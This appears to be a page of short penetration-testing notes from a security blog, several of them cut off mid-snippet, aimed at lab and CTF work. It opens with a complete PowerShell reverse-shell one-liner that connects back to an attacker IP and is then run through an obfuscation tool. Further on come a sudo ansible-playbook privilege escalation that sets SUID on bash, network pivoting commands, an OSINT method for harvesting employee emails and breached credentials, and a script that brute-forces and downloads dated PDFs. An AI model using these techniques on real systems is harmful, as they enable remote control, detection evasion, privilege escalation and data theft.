Steinz Security

  Obfuscate the Powershell code # Powershell one-Liner $client = New-Object System.Net.Sockets.TCPClient('10.10.14.133',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() #save the above rev-shell to a file; rev.txt #Download Invoke-Obfuscation Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation Output: Choose one of the below options: [*] TOKEN Obfuscate PowerShell command Tokens [*] AST Obfuscate PowerShell Ast nodes (PS3.0+) [*] STRING Obfuscate entire command as a String [*] ENCODING Obfuscate entire command via Encoding [*] COMPRESS Conve...

  This is very helpful when you are looking to access a VPN network (or a network accessible from a specific machine) from a different windows box. Assuming you are connected to VPN form Linux box - below commands will help  On Windows route delete 0.0.0.0 route add 0.0.0.0 mask 0.0.0.0 kali_IP on Linux sudo sysctl net.ipv4.ip_forward=1 sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE sudo iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT ##tun0 = VPN Network ##eth0 = Windows and Linux Interface  Transparent Proxy sudo sysctl net.ipv4.ip_forward=1 sudo iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 8080 sudo iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 443 -j REDIRECT --to-port 8080

   Chrome * Go to chrome://flags/ * Disabled "Load Media Router Component Extension" * Disabled "Connect to Cast devices on all IP addresses"    Edge edge://flags/ search for "media Router" and disable it        

  MindMap for OSINT - DNS Enum - Domian/Subdomain - Check the Services/Applications Running - Organization Details - Organization users - Organization Job Profiles  - Google Dorks - Follow Google Hacking Database User Recon - Finding Emails - Check for the files on the website, download and exif all the files for info on the users. Use ExifTool, Strings - PowerMeta can be used to gather the data from a domain - hunter.io - Can be used to find email address available online, free for first few times - Awesome tool for finding Emails - Phonebook.cz - voilanorbert.com - Gives 50 Free emails - clearbit.com - Chrome Extension - check if the email is valid or not - Verifalia.com / verifyemailaddress.org - Find Users from Linkedn via BridgeKeeper python bridgekeeper.py -c website.com #can use the wordlist generator to create a set of wordlist "git clone https://github.com/captain-noob/username-list-generator.git" - Automated recon using SpiderFoot Gathering Breached Credential...

  sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install wine32 wine64 wine file.exe Installing Wine Mono #this might not work sometimes, so follow the below method sudo apt-get install mono-complete go to Wine-mono Index and download wine-mono.msi file sudo wine uninstaller hit on the install button on GUI and select the executable to install WineTricks sudo apt-get install winetricks winetricks dotnet45  

    Abusing ansible-playbook run.yml file #consider ansible-playbook is running as a cron jon /usr/bin/ansible-playbook /opt/backups/playbook/run.yml   Abusing (ALL) NOPASSWD: /usr/bin/ansible-playbook * Create a new get_root.yml file - hosts: localhost tasks: - name: test command: "chmod +s /bin/bash" udo ansible-playbook get_root.yml /bin/bash -p

    here we are looking for files whose names are in the form of 2020-01-01-upload.pdf below script was taken from github Python Script to Create and acess Filenames in the form of Date #!/usr/bin/python3 import requests import os url = 'http://10.10.10.10/documents/' for i in range ( 2020 , 2022 ): for j in range ( 1 , 13 ): for k in range ( 1 , 31 ):                               #File name date = f' { i } - { j :02 } - { k :02 } -upload.pdf' r = requests . get ( url + date ) #print (r.text) if ( r . status_code == 200 ): print ( date ) #text = r.text os . system ( 'mkdir pdf' ) os . system ( f'wget { url } { date } -O pdf/ { date } ' ) Using Exif to find the Author of the files #!/usr/bin/python3 from pwn import * io = process ( '/bin/sh' ) io . sendline ( 'ls -al pdf/' ) lst = io . recvrepeat ( 1 ). d...